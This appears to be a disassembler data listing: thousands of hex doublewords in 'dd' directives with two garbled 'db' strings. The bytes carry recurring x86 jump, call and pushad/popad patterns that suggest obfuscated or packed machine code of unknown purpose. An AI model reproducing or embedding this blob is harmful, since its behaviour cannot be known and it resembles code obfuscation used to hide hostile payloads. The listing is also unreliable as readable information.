dd 4375F381h, 84C9815Eh, 800718E9h, 0F560ACF0h, 38B0Fh
dd 0F4800000h, 8E0F61D7h, 1, 0FBB70FF8h, 68D0Fh, 0E1810000h
dd 0D22C9BBh, 0FD0BF0Fh, 383h, 0C7B70F00h, 508F60B9h, 0C38B6674h
dd 306ABA66h, 0EE9h, 3B22F600h, 72341CE7h, 20688662h, 0F11B8D6h
dd 586h, 0E360B900h, 8E0F3951h, 0
dd 0FA8B6660h, 0FE8h, 226F1300h, 620DBD7Ah, 83A65B47h
dd 0F65802E6h, 5E9h, 0C606C600h, 615E0D5Ch, 1CB1F78Bh
dd 5A3D58BEh, 0FE96044h, 0F8000000h, 0F8299E0Ch, 39361445h
dd 0E26EA8Eh, 6661FEABh, 7838F781h, 646FEB81h, 0F18A2AE0h
dd 816613B6h, 0E92511CAh, 14h, 0E58F1852h, 0C6FB5D5Fh
dd 7673403Fh, 0F741CCC6h, 6E64964Ch, 820Fh, 0D38B0000h
dd 6E860h, 0C8D20000h, 0C26AEB93h, 58D18B66h, 9E9h, 95DC2400h
dd 0FD22188Fh, 0E961B15Eh, 0Eh, 0F9395BE0h, 0C99C7101h
dd 18C7FF3h, 0BA66828Eh, 8166DE3Ch, 60BD3EE7h, 9E960h
dd 84F0000h, 0A8A871Ch, 0E94A92E0h, 0Ah, 1B1AE5B0h, 0E933DA2h
dd 0F6194EEh, 0C8Dh, 7E900h, 40C60000h, 1D30FF70h, 0B70F617Dh
dd 6E9C9h, 3620000h, 8C18098Dh, 0EE8F9h, 73A00000h, 0D68B99D6h
dd 82FB5941h, 96BA1429h, 535AC78Bh, 48F0Fh, 0BA660000h
dd 0E9585E68h, 7, 72EFEC40h, 0F96A35Bh, 1985h, 14E900h
dd 33DA0000h, 0CD8C6B9Bh, 0E4BDDB25h, 9CEE46F9h, 62A25EBCh
dd 81B1BB56h, 7F4DBB57h, 805852D6h, 800F00EDh, 1, 4820FF9h
dd 66000000h, 0F85589BFh, 35D58060h, 14E9h, 0CE7D4400h
dd 89B4887Eh, 9C19F383h, 70BDCFD1h, 0A4E71352h, 6E96100h
dd 0CD000000h, 755C4EB8h, 0B1BE6653h, 0AEC7812Eh, 0E82BB2B0h
dd 14h, 88826828h, 6E2EEE88h, 928774C6h, 1AB67F7h, 43D38833h
dd 9E85Eh, 0D0CA0000h, 733332BCh, 56330CFBh, 5AC0B70Fh
dd 0C88B665Ah, 0AE9h, 0BB7F7800h, 5A9CCC93h, 0B52ADCE3h
dd 68FFB8FBh, 0FA8B2A0Eh, 66D78B66h, 99D5D781h, 0D933D181h
dd 34B52A93h, 12E9h, 0DC972400h, 7ED5C25Eh, 2C925A45h
dd 2A23C56Fh, 0FC92B9B3h, 81663CB0h, 0FE469DFh, 0E981C6B7h
dd 4128B8F9h, 3840Fh, 0BF0F0000h, 0F2BF0FF2h, 0E860EFB7h
dd 12h, 28764DA6h, 2D37FED9h, 72370DB0h, 5CDB7EF3h, 8C0F1B70h
dd 0
dd 18E0F5Bh, 0FC000000h, 0C2BF0F61h, 0BE66CB8Bh, 8E9538Eh
dd 1E000000h, 60245840h, 664E2D1Dh, 10E9DE8Bh, 0D1000000h
dd 0EC9CFE1Ch, 50DD1B8Bh, 8FD05366h, 8BAEB82Dh, 0F8D881F2h
dd 0F2C2029h, 86h, 0D6816600h, 0B70F06B4h, 66CE8BC7h, 35BBD88Bh
dd 0BB391683h, 0DE3E9C3h, 0BE953h, 0C8910000h, 7438F5E8h
dd 0F82DCF41h, 8B665B09h, 880F60FBh, 3, 0FD8BF0Fh, 588h
dd 5FC1BA00h, 0E86129A6h, 0Ch, 0FF811DACh, 6F92AFDBh, 10CA744Bh
dd 0D1EEB2BFh, 0EE85A0Fh, 0FC000000h, 0A34180ACh, 3603DDF4h
dd 0EC34C62Eh, 7387BF83h, 665E37B7h, 60CFF381h, 5810Fh
dd 81660000h, 664571E2h, 0AA18E081h, 518EB1FCh, 5850Fh
dd 81660000h, 5AC25ED8h, 0B70FCB8Ah, 0AE8D1h, 3F240000h
dd 0B19E241Eh, 7735C364h, 5890Fh, 81660000h, 5FFFB8DBh
dd 0FF08B60h, 480h, 0CAB96600h, 8A0F61A7h, 5, 63F08166h
dd 38F0F33h, 0F000000h, 0BE66F9BFh, 0F9607FC6h, 5A22F181h
dd 0E9615D04h, 0Fh, 20D698B1h, 2AD55634h, 0F7A0ED95h, 0E9E98665h
dd 8, 0D6022C57h, 0DBA78F6Ah, 0A8C0Fh, 5E90000h, 10000000h
dd 97462078h, 42B4C7B2h, 0A623E081h, 6DBB34ABh, 66750DEDh
dd 0AE9DE8Bh, 0CA000000h, 0EC254467h, 56C63062h, 81515047h
dd 0B356A4E6h, 0B05A5A38h, 7E9BFh, 6F990000h, 0D4C9D748h
dd 0B866F54Fh, 0D68191F2h, 16947999h, 68C0F52h, 0F000000h
dd 82h, 0B70F5900h, 0D08166F9h, 13E98ABFh, 80000000h, 4ADE3673h
dd 1C9A1F94h, 46CC1D79h, 967C3C9Bh, 0FE86054h, 0F8000000h
dd 2C23C7ECh, 5665C78Eh, 2CC42E64h, 0F96025B9h, 13E9h
dd 4B7FC800h, 8EDCD64h, 0EB5660Ah, 394770F8h, 60413F4Dh
dd 0D88A5A61h, 81CB8BFCh, 645555D9h, 90D7807Ah, 6286EA81h
dd 800F0005h, 0
aBqejKflAS db '│О╔╕©kf▀б─ъ/И',8,0
align 10h
dd 0C300C700h, 775B2631h, 0FD38BE9h, 8Ah, 7E900h, 75CE0000h
dd 0D1BBF57Dh, 9BE3806Ch, 87EE8166h, 0BE6660F5h, 0E8600CD9h
dd 11h, 0F6A5653h, 0DA97A76h, 1E419516h, 8B205336h, 830F594Fh
dd 0
dd 14E86161h, 98000000h, 0AC0999B4h, 739CB39Fh, 0F574BC12h
dd 0E78B982Ch, 665FBDACh, 3865E681h, 8A5E5659h, 62B8BAEBh
dd 0AE9244Dh, 4D000000h, 6D0DB6D3h, 0F4466F97h, 0DE8B6656h
dd 811AEF80h, 3A5E45F6h, 0D381660Ah, 10E9768Ch, 27000000h
dd 0C7AAB656h, 5A524181h, 0D5B68BB9h, 0E9A2A10Ah, 0Dh
dd 432BD75Ah, 0A03BF5FDh, 0BF7080F5h, 0E9606098h, 0Dh
dd 0CC474D31h, 0C2852790h, 2B42BAAh, 87BA660Eh, 5B526137h
dd 0FE961h, 658E0000h, 0AE89E967h, 24832C86h, 1D9DF9EDh
dd 8166F8C8h, 0FCCD1AD2h, 0EE850F8h, 3000000h, 0A4C20772h
dd 5527A0FDh, 121C45B0h, 0DE8B669Fh, 66565B5Eh, 7FCD081h
dd 66D68B5Fh, 3468E881h, 0E9F2BF0Fh, 0Ah, 2A390ADDh, 63E52BE1h
dd 8166E823h, 0E98C63E9h, 0Ch, 0E6A43D4Dh, 4BA5DBADh, 0A8614B2Ah
dd 1FD98056h, 0AE95Ah, 25010000h, 1F263D87h, 406E003Ch
dd 7E8h, 6BB49200h, 0C1CC46F7h, 6058F38Bh, 3CFF381h, 0EE921AAh
dd 0BB000000h, 9ECAC265h, 4109241Fh, 0E185A48Ah, 0BF0F616Ch
dd 25E080F7h, 0A0D54BBBh, 5E869h, 71DC0000h, 561CF711h
dd 0BF0F5F59h, 71BEBED3h, 0BA6601F8h, 80F9D9B7h, 8B6662F7h
dd 0F88B66F9h, 68D0Fh, 0F6810000h, 2B2BB24Fh, 0E9BCD780h
dd 0Dh, 0E11F813Dh, 0B8F6FF06h, 2AE0D31h, 12E850h, 0DE2D0000h
dd 24A943F7h, 0BAE51063h, 43E30F1Dh, 0D19BA1F5h, 6860Fh
dd 0E6810000h, 0D6DB506h, 0BE95Bh, 0B2AC0000h, 66F06F71h
dd 256B92F3h, 3DC981E9h, 0E85AA3F2h, 14h, 0C59948D1h, 2B5778ADh
dd 42A032C3h, 0DD6FD429h, 3727525Ch, 0DCDF8156h, 587E98B0h
dd 0BBE68059h, 12E9h, 87F03600h, 5EF87C1Eh, 75CD5C86h
dd 4D290DBAh, 0E83BA72Fh, 13h, 374E550Dh, 0AC3641FDh, 33784922h
dd 6962E7B1h, 5B50AC2Ch, 0BE9h, 46B5AE00h, 0E2E73112h
dd 9AECFDB8h, 0FE9F560h, 94000000h, 0AC4BA77Fh, 99964B61h
dd 8D8DBFCBh, 806139E3h, 0B6BF38CBh, 0E94E34AEh, 0Bh, 0F4EE2E6Eh
dd 0E787E3Eh, 0F4C3385h, 5E8CFBFh, 0B8000000h, 0B8AD053Bh
dd 0F4DA8166h, 8A0F5FB4h, 3, 662BE480h, 0CF8BC28Bh, 0CE9h
dd 0C5E0D300h, 40045D3Eh, 0E9116BCEh, 0CFC18183h, 60389B54h
dd 0CB9CB966h, 0BF6661F8h, 0C0BA231Dh, 8B5A874Eh, 12E9D7h
dd 44740000h, 9C7216D0h, 0B8538E00h, 58785864h, 2ED1ED2Ch
dd 8E960h, 0B9D40000h, 59B9F83Dh, 0B70F8383h, 7BBB61D0h
dd 0B824C3EFh, 3DE02388h, 0FF8B70Fh, 388h, 0F98B6600h
dd 0C38129B4h, 623B5E12h, 0BE9h, 0F7E3A300h, 3AAEF52Eh
dd 6216C0DAh, 50D2DC80h, 7288E281h, 66594A71h, 0EBBFF18Bh
dd 0BF4A25E5h, 761B2614h, 5E9h, 19FBCE00h, 8166EA14h, 0B4DB42CFh
dd 8166F86Dh, 0B31108D3h, 60C38B6Fh, 0F2A9E781h, 0B86638EBh
dd 66611B54h, 0B62ED881h, 61C38B60h, 0F1D98166h, 4800F42h
dd 66000000h, 56B5E4B9h, 0F5FE8B0h, 984h, 3860F00h, 0F000000h
dd 0F860FAB7h, 0C5ECD081h, 66612636h, 111CC081h, 60D0B70Fh
dd 0D88166F8h, 0F619DA7h, 38Ch, 0DF8B6600h, 0FFB8B66h
dd 0F381C8B7h, 242E44E2h, 0B966E38Ah, 830F4EF5h, 0
dd 2CFF7FBBh, 0F08B6622h, 860F70B7h, 1, 28D0FF9h, 0B0000000h
dd 17860F8Dh, 0E9000000h, 12h, 2D1545DBh, 704B3B96h, 15A01B90h
dd 28B3EB1Ah, 8B66F88Ch, 66AFB5C8h, 307CE81h, 14E9h, 38872A00h
dd 0D5926D76h, 3825D80Eh, 0DFBAEF84h, 0F222B716h, 5E9FFh
dd 0A9380000h, 8098DD53h, 0F60C4D6h, 681h, 8A0F00h, 61000000h
dd 8E9h, 0E5C9D600h, 6693D529h, 6E9ECh, 5EC20000h, 0EC553BE8h
dd 8166D88Bh, 0E8D889F6h, 0Bh, 0A86408A7h, 59090C59h, 0F7196B3h
dd 0E95BD6BFh, 7, 83130EDEh, 604FCA3Dh, 11E9h, 0F5CDDC00h
dd 0B400C28Bh, 9EE0E601h, 5EDD9155h, 850F1091h, 4, 28A0BA66h
dd 5EE1B861h, 11E95EE1h, 6C000000h, 11D9E5B9h, 0A8323B2Fh
dd 91FB8687h, 0BB62790Bh, 800FFC60h, 6, 789C381h, 0F6159BAh
dd 785h, 0B70F6000h, 615E53CBh, 850Fh, 7E90000h, 0A1000000h
dd 72DF765Ah, 8B668BEBh, 5860FCEh, 0BA000000h, 17CAE8AEh
dd 0DE960F5h, 97000000h, 0CA9AE530h, 0DB977946h, 0C0F71507h
dd 8783E881h, 57616682h, 8FD18060h, 5B616160h, 0B3E98166h
dd 0DBBF0F0Ah, 0F8E8B1F5h, 48F0Fh, 0B2530000h, 6E95A29h
dd 3E000000h, 5AB64611h, 3860F65h, 0F000000h, 80F5C0BFh
dd 6E9B1F4h, 0C000000h, 8B604221h, 27BF660Fh, 0DEBB6635h
dd 0C8816010h, 7F55555Bh, 8B6173B1h, 0E9F78AF8h, 7, 0D95CA43h
dd 0F8243FCAh, 0B3C2CD80h, 0E181609Bh, 0A765C5Eh, 12E9h
dd 0C229F800h, 78A87D66h, 0CE827E88h, 0FEC78155h, 617D4815h
dd 0D860F60h, 0E8000000h, 7, 0BC805189h, 5E3FAD42h, 0CE9h
dd 29533500h, 0DF32F05Bh, 0A7E2441Eh, 66566134h, 5A4E74BAh
dd 0C3B70F60h, 0AE8h, 0EC78FC00h, 0A19DF547h, 0F9B7EB3h
dd 6159C2B7h, 0AE9h, 5FC80E00h, 0D25C5D06h, 8B109415h
dd 5EF853C8h, 2CE3C681h, 0F9605B34h, 6185E380h, 0C4EA8166h
dd 0AE810h, 7F240000h, 503BC5B7h, 0BE598A54h, 10E960h
dd 4A5B0000h, 0ED99A0EFh, 0D35BC25Ch, 0D1339884h, 0C281A0B4h
dd 41EAA48Ch, 0F2805A61h, 1C870F19h, 60000000h, 12E9h
dd 0F160E800h, 20A56E9Fh, 26BD7DEDh, 0EE3C0D9Fh, 66BAA0FAh
dd 0E961CA8Bh, 8, 0A6418DABh, 410E5CD9h, 14E9h, 2598F600h
dd 0D3C151F8h, 6EBE774Ah, 2B6CC696h, 0C1BF6FC6h, 49ABFB1h
dd 3B41C47h, 218A0Fh, 0FE80000h, 3A000000h, 0B700BBBEh
dd 455CFEDCh, 60EBD100h, 7E9079Ah, 0DF000000h, 0CF00E35Eh
dd 565A2AF2h, 684A93BEh, 0AE95F1Eh, 14000000h, 0EA8E3936h
dd 0FEAB0E26h, 14E911h, 887A0000h, 0EA88390h, 1B6EBD75h
dd 0EF368256h, 0F0DEBC1Ch, 0BF0FE37Fh, 11E9F7h, 0F20A0000h
dd 0A7F4DD17h, 0CD27C866h, 8AFFAA1Eh, 0FEC7C92h, 882h
dd 2830F00h, 8B000000h, 0DCBF66F7h, 10E898h, 905C0000h
dd 8065A1D7h, 0A6308200h, 0E0224D9Ah, 0BF66F37Ah, 0F859B3EFh
dd 0F41E380h, 0E2BAC0B7h, 8134283Eh, 3D5CD5C9h, 0D7BB663Fh
dd 1C850FD7h, 60000000h, 0F4640FB9h, 10E950h, 456D0000h
dd 6ADC2377h, 89988A8Dh, 9058CC8Fh, 806194F3h, 6656AEE5h
dd 4DFAC081h, 0D7A0B85Ah, 0F8F80873h, 3810FFCh, 66000000h
dd 0BE66DF8Bh, 0FA8B314Ch, 8166FBB3h, 667DF0E1h, 76ACD881h
dd 38E0FF5h, 80000000h, 0C4BB97F7h, 0BE4EB304h, 27711F16h
dd 0F96CBE66h, 14E9h, 2118A400h, 0DA220FD6h, 553D1D8h
dd 9DD38275h, 7A55113Fh, 6E916h, 79290000h, 0DB2D1860h
dd 9E9h, 3726E500h, 5B71C665h, 0CF80DCB8h, 62D1812Eh, 66654A8Eh
dd 8E8F38Bh, 44000000h, 61DBBF1h, 0E93E1D23h, 0Fh, 0F7279297h
dd 4DFC68E2h, 0F3BB9F64h, 594BCA51h, 0FFEBF0Fh, 1B8Fh
dd 0AE800h, 21A70000h, 0B001D64Bh, 0DC9EC951h, 6E9h, 7B650A00h
dd 5A4ED958h, 0B6C1BF0Fh, 8E95Eh, 1E990000h, 91EDEC5Eh
dd 0DE81DB05h, 46526E89h, 57F28B66h, 9F08BE66h, 5E96058h
dd 17000000h, 0D891D65Bh, 0BE61D18Bh, 3F0A0F64h, 29C28166h
dd 67B96028h, 604B913Ch, 55EB8166h, 0E867B8B7h, 616102BFh
dd 5AD98B57h, 8454D081h, 820F31B5h, 2, 52F8CF8Bh, 60605AFCh
dd 50FABF0Fh, 0D480615Ah, 0BF0F61F7h, 0DAB966F6h, 0BE9F5FDh
dd 6B000000h, 0ECAB6419h, 741D31A8h, 0CE8BE54h, 0FB000000h
dd 69ED9450h, 80C09485h, 0E9D67A15h, 0Eh, 15BE0C18h, 0F4C39588h
dd 0D964D7BDh, 805AC4F2h, 0D5BBD3D6h, 0E867C289h, 10h
dd 223265ABh, 0A4B08EDFh, 0D741ACABh, 0CCA14C98h, 0DE8h
dd 0D60F400h, 0D5A0EE7h, 0A5547149h, 816641EEh, 5EE63DF6h
dd 0E8EF805Fh, 9E9F9h, 9C960000h, 0D554A104h, 8B47C710h
dd 0BEBA66C7h, 812EB1AEh, 0B4381AD7h, 0CB816651h, 0DE9207Fh
dd 0F5000000h, 11584358h, 40E53698h, 0EA9F4D99h, 0FA8B60F8h
dd 6820Fh, 890F0000h, 0
dd 3F2EB861h, 8D0F0CBEh, 2, 0E58AA4B6h, 0BFA8B6F5h, 3C8779A7h
dd 1210C981h, 0BFF87A32h, 0D935802h, 1E57B866h, 67DA8166h
dd 7800F60h, 60000000h, 0ED59B1BBh, 0C68B6161h, 0CE8h
dd 0C6933500h, 18A5D607h, 0E7820138h, 0EE9533Dh, 0C7000000h
dd 59949C46h, 0E10A15D0h, 561CA90Bh, 0F95A59CDh, 0E8C38B66h
dd 6, 7ECD87F5h, 805E250Dh, 0C1800BDCh, 8147B471h, 63DC4BC2h
dd 0AE6CBB66h, 0BF0F7895h, 17BA66D2h, 0C181608Dh, 357B88F4h
dd 50CDB960h, 0B70F202Ch, 0E86161C2h, 8, 385CA369h, 4D2208F5h
dd 48B0Fh, 0B8660000h, 665A1B86h, 0E84E77B8h, 9, 0A54AE936h
dd 3D291DC4h, 0CE868h, 288E0000h, 67B21201h, 0A66D42FCh
dd 12E9BAFDh, 0E000000h, 100E9D70h, 20DFB426h, 871D82A7h
dd 0AAFD1665h, 665F58DCh, 0C4AAE681h, 0FE8h, 1621D800h
dd 374D21D1h, 11F76C32h, 20A7DEDDh, 6890Fh, 800F0000h
dd 0
aYfTslS db 'Yf╦TИ▀ь╧ыжг"И',7,0
align 4
dd 0D6E64F00h, 8DC10376h, 4EDC53B8h, 81665173h, 5A4DECD8h
dd 13E9h, 4F050D00h, 8CE125F3h, 44966C43h, 0ECBD939Ah
dd 0CB15D35Ah, 13E8h, 90811400h, 1E202082h, 4D0F8747h
dd 7C31D9C5h, 9C010A35h, 5AFEB70Fh, 6616B660h, 61534FBAh
dd 1DCA8160h, 0F358457h, 6661DBBFh, 0F5FC1BAh, 1D8Bh, 13E800h
dd 19CE0000h, 0D385EE61h, 0F72D1C8Eh, 0C50D9EC8h, 63175899h
dd 0F7BB6655h, 820F5FE1h, 0Ah, 5E9h, 2E6A3F00h, 840FB3F2h
dd 0Bh, 6E9h, 9D10EB00h, 50233B6Eh, 0EE8h, 0E6D3FD00h
dd 0B59EC092h, 2C9A4FB6h, 0E87B68B7h, 0Eh, 0CB8DE535h
dd 837FD023h, 2FEFDF49h, 585E81E9h, 9810F5Fh, 0F000000h
dd 38Ch, 83EA8000h, 8E8h, 12B0EC00h, 4C0B3ECBh, 58CE8BCAh
dd 6652C78Bh, 8159C78Bh, 6C6EFAEEh, 5AC68028h, 28C0Fh
dd 0CB30000h, 7840Fh, 60600000h, 32D88061h, 0EB815661h
dd 2C10129Dh, 0E9CE8A58h, 7, 81BAB11Ch, 604E2FFEh, 5E8A92BAh
dd 61C6B379h, 0DE952h, 0B16F0000h, 0F99F726Bh, 894B727Fh
dd 5AF5ED68h, 1860F60h, 0F9000000h, 6168CC80h, 0E781DE8Ah
dd 11381E96h, 14E9h, 595F0100h, 4D80C8B9h, 0B57EC520h
dd 2E805396h, 49ACF3A8h, 13E892h, 4B2C0000h, 0C54061F3h
dd 0FDB59FDEh, 0C8C66AC7h, 6DA8B807h, 7D25BF44h, 815A4820h
dd 0EB2353C8h, 0E6816674h, 0E8B880EDh, 0E910AD03h, 0Ah
dd 61272C6Ah, 4AE8B7ACh, 0F88AA2FEh, 0B7C88166h, 0CA8B668Eh
dd 0CA816660h, 0F619901h, 481h, 77BE6600h, 18C0F6Eh, 0F8000000h
dd 5E9h, 0CF8ABA00h, 0D28156DCh, 6A42D25Ah, 0F60D68Bh
dd 0E861F9BFh, 0Eh, 5004EDB1h, 5AB5EA67h, 0D28146A2h, 14E94048h
dd 0F000000h, 0BFCF83C5h, 60F9A6E1h, 1E565F98h, 8A12C9BDh
dd 5EFF9BD7h, 0B966B9B2h, 850F884Bh, 1, 0BF0F50F8h, 605159CEh
dd 0F61CF80h, 5A61D9BFh, 10810Fh, 810F0000h, 0Ah, 5E9h
dd 2BA96000h, 60F9E6EDh, 3810Fh, 8B660000h, 11E961F0h
dd 0EB000000h, 82BD018Dh, 1422794Bh, 102AAEA5h, 3672A082h
dd 5BFB8B51h, 0B966C7B0h, 0E960F60Bh, 10h, 0D49E51DFh
dd 1C0D7F7Ah, 0F8AE635Ah, 0FDA5390h, 8B615DB1h, 0DE8F1h
dd 5E0C0000h, 7FCA4D32h, 0A8C02CDDh, 0E93DC445h, 10h, 788E179Dh
dd 0F102E9BEh, 8398B409h, 9D807870h, 0D98BF55Fh, 0B870Fh
dd 8E0F0000h, 5, 9FD3D2B8h, 0DE82Eh, 19B90000h, 0F0F590AAh
dd 25A0CBCCh, 0F561C330h, 0BF0FFC59h, 6E957C3h, 34000000h
dd 0A61EF131h, 0AE95F28h, 0A2000000h, 68C943D7h, 65C12B2Dh
dd 0E6BF66E0h, 0E9F5F514h, 0Ch, 9282DA6Ch, 366DD224h, 273D0EE0h
dd 18880Fh, 13E90000h, 45000000h, 7038B10Ah, 673D007h
dd 0FAE7029h, 9E17ADEAh, 0BF664742h, 94B89AB8h, 8B1A9DF9h
dd 0DB8160DEh, 433CCFAFh, 53D18B61h, 6967D7BFh, 810F5B5Eh
dd 6, 8A0Fh, 9E90000h, 54000000h, 0BA5F4C6Eh, 4FE3BBAFh
dd 8E860h, 67BB0000h, 3015966Fh, 61600BD3h, 5E858h, 0BA670000h
dd 0B95FA5E7h, 7B9301DEh, 0CEB8615Ah, 0E977F95Bh, 0Ch
dd 3A471BC5h, 0AB6DD989h, 92720457h, 0D2BF0F60h, 5DDFF081h
dd 0B461167Bh, 0E85B57D4h, 10h, 5E1E9963h, 591EDECh, 4E90DDDBh
dd 0AF7FCCC4h, 84DB8166h, 0B9605F41h, 561BDB68h, 38C0Fh
dd 0F4800000h, 8B5261E5h, 0BF0F5ADFh, 0BE9F2h, 5700000h
dd 49FD6FF4h, 12E17381h, 0DBBF0F52h, 8BEFE280h, 0F6EE81FAh
dd 8B156386h, 11E9C2h, 0D7D30000h, 0D2CA6EAAh, 0B0877283h
dd 33D792A7h, 0F3AE906h, 1680h, 11E900h, 53840000h, 0A573854Eh
dd 9FBE3693h, 0CF081855h, 516FEDEAh, 8B5A5B51h, 0F18166C3h
dd 7E83ED5h, 83000000h, 0D639AEB2h, 0B96657D7h, 0B65B0B84h
dd 6800F83h, 81000000h, 0D229CBF2h, 0EE9F970h, 61000000h
dd 0AA76BF2Eh, 0E2A1CA07h, 35FA25E2h, 0CB8A6018h, 5870Fh
dd 0A6BE0000h, 6116EAA9h, 0D850Fh, 8E90000h, 38000000h
dd 5E381FC2h, 51EEB546h, 0E85AF18Bh, 6, 119BE1BAh, 0E96069F9h
dd 9, 0E6B70A9Bh, 0C64B31CEh, 880F8Fh, 61000000h, 0DF8B665Eh
dd 8830Fh, 0FC600000h, 0F0D0D1B9h, 9EBE6170h, 602AC5A3h
dd 61F9F0B2h, 68B932B9h, 0D78B6628h, 66F28B66h, 0F97384B9h
dd 0FCCB8B66h, 6890Fh, 0C7810000h, 3F0F2F00h, 0FE9h, 0A6DDA900h
dd 798D73EDh, 699FE2CCh, 0A9EB6847h, 8A0Fh, 6E90000h, 11000000h
dd 9983CF77h, 0E96050FEh, 0Fh, 0CA37D555h, 0C2241F1h, 3F1F9F28h
dd 0B03CBD63h, 815A61BCh, 0AEE81BDEh, 858AB97Ah, 14E824F4h
dd 8000000h, 6C99314Ch, 0AE877A4h, 0C0AFB946h, 0C3EC74D5h
dd 0E96A75FDh, 0Eh, 1710C54Ah, 0AF51FEEBh, 0DAFAA8h, 665FA75Ch
dd 0B966F18Bh, 0DA8079D4h, 11E857BBh, 65000000h, 24ADF95Dh
dd 41107FE7h, 4605CAD3h, 65951262h, 853FBA66h, 81665A58h
dd 8B74FCE1h, 0C68056FAh, 51605A41h, 5FC38B66h, 8E9h, 0BD4A5100h
dd 953F815Dh, 0BB666120h, 0C38B9C12h, 5FCB8B56h, 3820Fh
dd 0D0800000h, 0B7D18BE5h, 0C68166EAh, 0BB667F52h, 7E93E52h
dd 44000000h, 2E7C34D6h, 810FD36Ch, 4, 7A5EBF66h, 8E9h
dd 0FEEC4100h, 0AEC8DECh, 7D99BF52h, 8E95AA8h, 7000000h
dd 0F90B11FDh, 0F9F0A93h, 18Fh, 8166F900h, 8BD2B8DEh, 9E8F9h
dd 24780000h, 0D1878980h, 0F5DED00h, 289h, 5B616000h, 0F85F51F8h
dd 13E8h, 0E160F800h, 0C768901h, 0B08FBDDCh, 0B3CD8BFh
dd 0D249EC7Ah, 58C88B66h, 8F281F8h, 0F0C73EBh, 8Eh, 6ED38100h
dd 0E870BBC4h, 14h, 3C24A44Bh, 0C6B49F57h, 0F50AA1E2h
dd 88CEDF62h, 97041AE4h, 98B959FCh, 0E93A7B09h, 0Fh, 51A88CF8h
dd 0B0EB8191h, 11CCF69Bh, 0F9A49C4h, 286h, 81C28A00h, 9DDD74C7h
dd 57B1606Ch, 0FEB96661h, 33CA8183h, 500380C0h, 0AFF18166h
dd 81665BA8h, 604AE4D2h, 58A0Fh, 81660000h, 0E91AFCEEh
dd 0Dh, 0A4DAE60Bh, 98551F55h, 0ADD2643Ah, 8B66610Fh, 0BF0F53F3h
dd 0BB665ADAh, 8B668D37h, 0DA8166F2h, 8B6643F9h, 0D9BF0FCEh
dd 10E9h, 772B0B00h, 65C2CEB9h, 0D254B8A3h, 0AAAF433Dh
dd 0D8A0F56h, 0E9000000h, 8, 0DF96A9B5h, 7A5886D2h, 0FE860h
dd 0FD140000h, 1FB789D0h, 97299787h, 2235248Bh, 5E8DB578h
dd 14E9h, 79FFEF00h, 755FCDEEh, 26FCABD4h, 0C2CB6678h
dd 0E336EEC0h, 0B70F6198h, 0F78160D2h, 5BA4268Bh, 3830Fh
dd 8B660000h, 0BF0F61C1h, 0D18B51FEh, 0F281665Bh, 850F0B6Fh
dd 2, 42BE80B1h, 0B87626A5h, 5BB80D44h, 630DE781h, 0D1802CA8h
dd 0FFAB382h, 280h, 0E9F08B00h, 0Bh, 8953158Bh, 0A7D01BE0h
dd 8AD28372h, 11E9C6h, 16160000h, 6D8AD068h, 25C5615Eh
dd 0C97144C3h, 8180A7FEh, 4E3F68F6h, 146DB819h, 0E9501BC8h
dd 12h, 0B5559A1Eh, 0E64B91BBh, 98090D9Ah, 0C1A589BEh
dd 0BA5FD7DFh, 72D7E25Ch, 68E98166h, 0FE8B66EFh, 83B86660h
dd 61C38A7Ch, 0BFD38B66h, 3276133h, 5E9h
dd 7EDB9000h, 0FF8AAF3h, 38Ch, 4DD88000h, 0AEDF8166h, 14E947h
dd 72710000h, 69F25C7Dh, 80163E5Ch, 7FDBEF8Bh, 0D0B3B3E4h
dd 0B70F002Fh, 0FF38BCEh, 0D68BCBBFh, 0C9DFBA66h, 0E6816652h
dd 8B5FA4ABh, 0E9F9F9D0h, 0Dh, 4D4D8775h, 7F6C7A8Bh, 59B350Fh
dd 60EF8ACDh, 11E9h, 61D8CA00h, 9E772A7Fh, 5EF71322h, 6CD62C0Bh
dd 0E861555Bh, 11h, 0D8E90424h, 533774B6h, 0B87AAF53h
dd 58208AA5h, 45D1BB84h, 80587B6Eh, 66FCE8D9h, 5052D68Bh
dd 9E9h, 0A2FF5200h, 4C7A6B79h, 5958BB8Bh, 0FE89DB7h, 91000000h
dd 7335D7D4h, 6D09455h, 3A316F38h, 8B6675D3h, 0B9665FF8h
dd 0BB66EE37h, 0BA6634AAh, 8B66FB87h, 0FE8FCD9h, 96000000h
dd 5825B8FAh, 0C14493D3h, 286A6948h, 0EE82FDDh, 67000000h
dd 0CDD67F7Dh, 67512657h, 0E6481895h, 0AE909h, 651F0000h
dd 8871557Eh, 0D13EF151h, 81665B5Eh, 0F0585E3h, 7E8C7B7h
dd 41000000h, 1D343D5Dh, 12E84099h, 64000000h, 42D090DFh
dd 0F92C04F9h, 0D3CE78BEh, 0DE486089h, 8E924h, 0D6130000h
dd 0C979B0F9h, 585912F6h, 66E8DB80h, 0BF0FF98Bh, 0F78166FFh
dd 0D9BFE046h, 81437D0Bh, 58AED5F2h, 0F524B166h, 7553BA66h
dd 11E9h, 75DBDD00h, 0E38C81F8h, 1E5C492Eh, 1240982Bh
dd 70BA24BBh, 0BB1E434Ch, 7138A307h, 0E9D0B70Fh, 0Bh, 2AC62C9Bh
dd 2E301A78h, 818DAD98h, 0A6330DEAh, 0DE878h, 0F16A0000h
dd 0C69BA0E1h, 3C3E42DFh, 5BE3E931h, 74E4BF66h, 12E950h
dd 0E32E0000h, 7194C50h, 0BDA5FDF3h, 9F8DF15Eh, 6945172Ah
dd 8E95Eh, 4F860000h, 0A2E91E6Ah, 0BF0FE333h, 81BA66CBh
dd 0B70F60A3h, 619BB4C6h, 0A64ECE81h, 0F88B63B0h, 8BF08166h
dd 0C3BF0F07h, 6660E78Ah, 7DE1EB81h, 64EB8166h, 0E18A61A7h
dd 12E9D0B0h, 0C6000000h, 42C17E39h, 0A0006EC0h, 9F94CA40h
dd 0C75106EBh, 0FE8B600Eh, 12E9h, 0D2C6A400h, 0DDCB47h
dd 2BC1F979h, 0ED2ADD05h, 61D6B4AFh, 0F8FAB70Fh, 0FE9CF8Bh
dd 0A0000000h, 89B37Ah, 7DB51F75h, 0BB7ED3B5h, 8B66E1C0h
dd 0F18166C6h, 0CE94ED2h, 57000000h, 35593300h, 0E0E1B1C5h
dd 66530B03h, 0CB1E281h, 0CE8h, 2F90A400h, 0E8988340h
dd 90EF3AA5h, 9EE81C0h, 5A426AACh, 14E8h, 0E03B3500h, 0C45D7E9Dh
dd 15A1A795h, 24BA5261h, 130A2F7Ah, 5FEEB41Fh, 6820F60h
dd 0F000000h, 82h, 61C58A00h, 42EE8160h, 66674C6Dh, 61E78CB8h
dd 1810Fh, 66F90000h, 0F508C081h, 8E9h, 0C711100h, 93F10CA1h
